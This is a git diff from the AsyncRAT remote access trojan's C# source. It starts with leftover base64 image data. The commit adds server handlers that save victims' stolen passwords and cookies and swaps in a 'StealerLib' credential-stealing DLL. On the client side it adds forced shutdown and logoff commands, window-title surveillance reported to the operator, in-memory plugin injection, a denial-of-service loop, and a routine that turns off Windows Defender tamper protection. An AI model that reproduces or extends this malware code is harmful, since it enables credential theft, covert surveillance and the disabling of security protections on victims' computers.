+ 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
+ gg==
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs
new file mode 100644
index 0000000..c70a0c5
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs
@@ -0,0 +1,30 @@
+using AsyncRAT_Sharp.MessagePack;
+using AsyncRAT_Sharp.Sockets;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+
+namespace AsyncRAT_Sharp.Handle_Packet
+{
+ public class HandleRecovery
+ {
+ public HandleRecovery(Clients client, MsgPack unpack_msgpack)
+ {
+ try
+ {
+ string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery");
+ if (!Directory.Exists(fullPath))
+ Directory.CreateDirectory(fullPath);
+ File.WriteAllText(fullPath + "\\Passowrds.txt", unpack_msgpack.ForcePathObject("Password").AsString);
+ File.WriteAllText(fullPath + "\\Cookies.txt", unpack_msgpack.ForcePathObject("Cookies").AsString);
+ new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
+ }
+ catch { }
+ }
+ }
+}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleReportWindow.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleReportWindow.cs
new file mode 100644
index 0000000..ae34103
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleReportWindow.cs
@@ -0,0 +1,18 @@
+using AsyncRAT_Sharp.Sockets;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace AsyncRAT_Sharp.Handle_Packet
+{
+ public class HandleReportWindow
+ {
+ public HandleReportWindow(Clients client, string title)
+ {
+ new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]", Color.Blue);
+ }
+ }
+}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs
index 472dd65..2e4964f 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs
@@ -62,14 +62,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
case "recoveryPassword":
{
- string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery");
- if (!Directory.Exists(fullPath))
- Directory.CreateDirectory(fullPath);
- File.WriteAllText(fullPath + "\\Passowrds.txt", unpack_msgpack.ForcePathObject("Password").AsString);
- if (File.ReadAllText(fullPath + "\\Passowrds.txt").Length > 23)
- {
- new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
- }
+ new HandleRecovery(client, unpack_msgpack);
break;
}
@@ -79,6 +72,11 @@ namespace AsyncRAT_Sharp.Handle_Packet
break;
}
+ case "Error":
+ {
+ new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} error: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red);
+ break;
+ }
case "remoteDesktop":
{
new HandleRemoteDesktop().Capture(client, unpack_msgpack);
@@ -121,6 +119,12 @@ namespace AsyncRAT_Sharp.Handle_Packet
new HandleChat(unpack_msgpack, client);
break;
}
+
+ case "reportWindow":
+ {
+ new HandleReportWindow(client, unpack_msgpack.ForcePathObject("Report").AsString);
+ break;
+ }
}
}
catch (CryptographicException)
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListViewColumnSorter.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListViewColumnSorter.cs
new file mode 100644
index 0000000..20c5032
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListViewColumnSorter.cs
@@ -0,0 +1,104 @@
+using System.Collections;
+using System.Windows.Forms;
+
+namespace AsyncRAT_Sharp.Helper
+{
+ //support.microsoft.com/en-us/help/319401/how-to-sort-a-listview-control-by-a-column-in-visual-c
+ public class ListViewColumnSorter : IComparer
+ {
+ ///
+ /// Specifies the column to be sorted
+ ///
+ private int ColumnToSort;
+ ///
+ /// Specifies the order in which to sort (i.e. 'Ascending').
+ ///
+ private SortOrder OrderOfSort;
+ ///
+ /// Case insensitive comparer object
+ ///
+ private CaseInsensitiveComparer ObjectCompare;
+
+ ///
+ /// Class constructor. Initializes various elements
+ ///
+ public ListViewColumnSorter()
+ {
+ // Initialize the column to '0'
+ ColumnToSort = 0;
+
+ // Initialize the sort order to 'none'
+ OrderOfSort = SortOrder.None;
+
+ // Initialize the CaseInsensitiveComparer object
+ ObjectCompare = new CaseInsensitiveComparer();
+ }
+
+ ///
+ /// This method is inherited from the IComparer interface. It compares the two objects passed using a case insensitive comparison.
+ ///
+ /// First object to be compared
+ /// Second object to be compared
+ /// The result of the comparison. "0" if equal, negative if 'x' is less than 'y' and positive if 'x' is greater than 'y'
+ public int Compare(object x, object y)
+ {
+ int compareResult;
+ ListViewItem listviewX, listviewY;
+
+ // Cast the objects to be compared to ListViewItem objects
+ listviewX = (ListViewItem)x;
+ listviewY = (ListViewItem)y;
+
+ // Compare the two items
+ compareResult = ObjectCompare.Compare(listviewX.SubItems[ColumnToSort].Text, listviewY.SubItems[ColumnToSort].Text);
+
+ // Calculate correct return value based on object comparison
+ if (OrderOfSort == SortOrder.Ascending)
+ {
+ // Ascending sort is selected, return normal result of compare operation
+ return compareResult;
+ }
+ else if (OrderOfSort == SortOrder.Descending)
+ {
+ // Descending sort is selected, return negative result of compare operation
+ return (-compareResult);
+ }
+ else
+ {
+ // Return '0' to indicate they are equal
+ return 0;
+ }
+ }
+
+ ///
+ /// Gets or sets the number of the column to which to apply the sorting operation (Defaults to '0').
+ ///
+ public int SortColumn
+ {
+ set
+ {
+ ColumnToSort = value;
+ }
+ get
+ {
+ return ColumnToSort;
+ }
+ }
+
+ ///
+ /// Gets or sets the order of sorting to apply (for example, 'Ascending' or 'Descending').
+ ///
+ public SortOrder Order
+ {
+ set
+ {
+ OrderOfSort = value;
+ }
+ get
+ {
+ return OrderOfSort;
+ }
+ }
+
+ }
+}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs
index 1459f4c..082665f 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs
@@ -1,4 +1,5 @@
using System;
+using System.IO;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs
index 0a16280..21372c1 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs
@@ -214,6 +214,16 @@ namespace AsyncRAT_Sharp.Properties {
}
}
+ ///
+ /// Looks up a localized resource of type System.Drawing.Bitmap.
+ ///
+ internal static System.Drawing.Bitmap pc {
+ get {
+ object obj = ResourceManager.GetObject("pc", resourceCulture);
+ return ((System.Drawing.Bitmap)(obj));
+ }
+ }
+
///
/// Looks up a localized resource of type System.Drawing.Bitmap.
///
@@ -245,21 +255,21 @@ namespace AsyncRAT_Sharp.Properties {
}
///
- /// Looks up a localized resource of type System.Byte[].
+ /// Looks up a localized resource of type System.Drawing.Bitmap.
///
- internal static byte[] RecoveryPlugin {
+ internal static System.Drawing.Bitmap remotedesktop {
get {
- object obj = ResourceManager.GetObject("RecoveryPlugin", resourceCulture);
- return ((byte[])(obj));
+ object obj = ResourceManager.GetObject("remotedesktop", resourceCulture);
+ return ((System.Drawing.Bitmap)(obj));
}
}
///
/// Looks up a localized resource of type System.Drawing.Bitmap.
///
- internal static System.Drawing.Bitmap remotedesktop {
+ internal static System.Drawing.Bitmap report {
get {
- object obj = ResourceManager.GetObject("remotedesktop", resourceCulture);
+ object obj = ResourceManager.GetObject("report", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
@@ -284,6 +294,16 @@ namespace AsyncRAT_Sharp.Properties {
}
}
+ ///
+ /// Looks up a localized resource of type System.Byte[].
+ ///
+ internal static byte[] StealerLib {
+ get {
+ object obj = ResourceManager.GetObject("StealerLib", resourceCulture);
+ return ((byte[])(obj));
+ }
+ }
+
///
/// Looks up a localized resource of type System.Drawing.Bitmap.
///
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx
index e120c8b..f5c242c 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx
@@ -145,6 +145,9 @@
..\Resources\shell.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
+ ..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
..\Resources\builder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
@@ -160,12 +163,12 @@
..\Resources\stop (1).png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
-
- ..\Resources\RecoveryPlugin.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
..\Resources\uac.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
+ ..\Resources\pc.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
..\Resources\filemanager.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
@@ -199,7 +202,10 @@
..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
-
- ..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
+ ..\Resources\report.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
+
+ ..\Resources\StealerLib.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/RecoveryPlugin.dll b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/RecoveryPlugin.dll
deleted file mode 100644
index d970efe..0000000
Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/RecoveryPlugin.dll and /dev/null differ
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/StealerLib.dll b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/StealerLib.dll
new file mode 100644
index 0000000..fe90e73
Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/StealerLib.dll differ
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/pc.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/pc.png
new file mode 100644
index 0000000..b994e6c
Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/pc.png differ
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/report.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/report.png
new file mode 100644
index 0000000..692cef6
Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/report.png differ
diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj
index 4e6c1a4..072c6ab 100644
--- a/AsyncRAT-C#/Client/Client.csproj
+++ b/AsyncRAT-C#/Client/Client.csproj
@@ -85,7 +85,9 @@
+
+
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs b/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs
index cdfa010..db588ba 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs
@@ -1,4 +1,5 @@
using Client.MessagePack;
+using Client.Sockets;
using System;
using System.Collections.Generic;
using System.Diagnostics;
@@ -36,7 +37,7 @@ namespace Client.Handle_Packet
stopwatch.Start();
Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}");
- while (!Packet.cts.IsCancellationRequested && timespan > stopwatch.Elapsed)
+ while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected)
{
new Thread(() =>
{
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs
new file mode 100644
index 0000000..601de0f
--- /dev/null
+++ b/AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs
@@ -0,0 +1,39 @@
+using Client.Helper;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Text;
+
+namespace Client.Handle_Packet
+{
+ public class HandlePcOptions
+ {
+ public HandlePcOptions(string option)
+ {
+ switch (option)
+ {
+ case "restart":
+ {
+ Methods.ClientExit();
+ Process.Start("Shutdown", "/r /f /t 00");
+ break;
+ }
+
+ case "shutdown":
+ {
+ Methods.ClientExit();
+ Process.Start("Shutdown", "/s /f /t 00");
+ break;
+ }
+
+ case "logoff":
+ {
+ Methods.ClientExit();
+ Process.Start("Shutdown", "/l /f");
+ break;
+ }
+ }
+ }
+ }
+}
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs b/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs
new file mode 100644
index 0000000..90f60f9
--- /dev/null
+++ b/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs
@@ -0,0 +1,74 @@
+using Client.MessagePack;
+using Client.Sockets;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Text;
+using System.Threading;
+
+namespace Client.Handle_Packet
+{
+ class HandleReportWindow
+ {
+ private List title;
+
+ public HandleReportWindow(MsgPack unpack_msgpack)
+ {
+ switch (unpack_msgpack.ForcePathObject("Option").AsString)
+ {
+
+ case "run":
+ {
+ try
+ {
+ Initialize(unpack_msgpack);
+ int count = 30;
+ while (!Packet.ctsReportWindow.IsCancellationRequested)
+ {
+ foreach (Process window in Process.GetProcesses())
+ {
+ if (string.IsNullOrEmpty(window.MainWindowTitle))
+ continue;
+ if (title.Any(window.MainWindowTitle.ToLower().Contains) && count > 30)
+ {
+ count = 0;
+ SendReport(window.MainWindowTitle.ToLower());
+ }
+ }
+ count++;
+ Thread.Sleep(1000);
+ }
+ }
+ catch { break; }
+ break;
+ }
+
+ case "stop":
+ {
+ Packet.ctsReportWindow?.Cancel();
+ break;
+ }
+ }
+ }
+
+ private void Initialize(MsgPack unpack_msgpack)
+ {
+ Packet.ctsReportWindow?.Cancel();
+ Packet.ctsReportWindow = new CancellationTokenSource();
+ title = new List();
+ foreach (string s in unpack_msgpack.ForcePathObject("Title").AsString.ToLower().Split(new[] { "," }, StringSplitOptions.None))
+ title.Add(s.Trim());
+ }
+
+ private void SendReport(string window)
+ {
+ Debug.WriteLine(window);
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "reportWindow";
+ msgpack.ForcePathObject("Report").AsString = window;
+ ClientSocket.Send(msgpack.Encode2Bytes());
+ }
+
+ }
+}
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs
index 2fdfb8f..bc110ac 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs
@@ -22,7 +22,10 @@ namespace Client.Handle_Packet
new HandleUninstall();
}
}
- catch { }
+ catch (Exception ex)
+ {
+ Packet.Error(ex);
+ }
}
public void SendToMemory(MsgPack unpack_msgpack)
@@ -53,12 +56,15 @@ namespace Client.Handle_Packet
{
Assembly loader = Assembly.Load(plugin);
MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run");
- meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), injection) });
+ meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) });
})
{ IsBackground = true }.Start();
}
}
- catch { }
+ catch (Exception ex)
+ {
+ Packet.Error(ex);
+ }
}
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleUAC.cs b/AsyncRAT-C#/Client/Handle Packet/HandleUAC.cs
index 0cdf8d5..392181a 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandleUAC.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/HandleUAC.cs
@@ -15,7 +15,7 @@ namespace Client.Handle_Packet
{
public HandleUAC()
{
- if (new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) return;
+ if (Methods.IsAdmin()) return;
try
{
@@ -31,6 +31,7 @@ namespace Client.Handle_Packet
};
proc.Start();
Methods.ClientExit();
+ Environment.Exit(0);
}
catch { }
}
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs
index 342e6fc..191262d 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs
@@ -18,7 +18,7 @@ namespace Client.Handle_Packet
{
try
{
- if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
+ if (!Methods.IsAdmin())
Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").DeleteValue(Path.GetFileName(Settings.ClientFullPath));
else
{
@@ -51,6 +51,7 @@ namespace Client.Handle_Packet
{
Process.Start(Del);
Methods.ClientExit();
+ Environment.Exit(0);
}
}
}
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleWindowsDefender.cs b/AsyncRAT-C#/Client/Handle Packet/HandleWindowsDefender.cs
index 83381d0..e6c9f27 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandleWindowsDefender.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/HandleWindowsDefender.cs
@@ -2,6 +2,7 @@
using Microsoft.Win32;
using System.Diagnostics;
using System.Security.Principal;
+using Client.Helper;
// │ Author : NYAN CAT
// │ Name : Disable Windows Defender v1.0
@@ -15,7 +16,7 @@ namespace Client.Handle_Packet
{
public HandleWindowsDefender()
{
- if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) return;
+ if (!Methods.IsAdmin()) return;
RegistryEdit(@"SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0"); //Windows 10 1903 Redstone 6
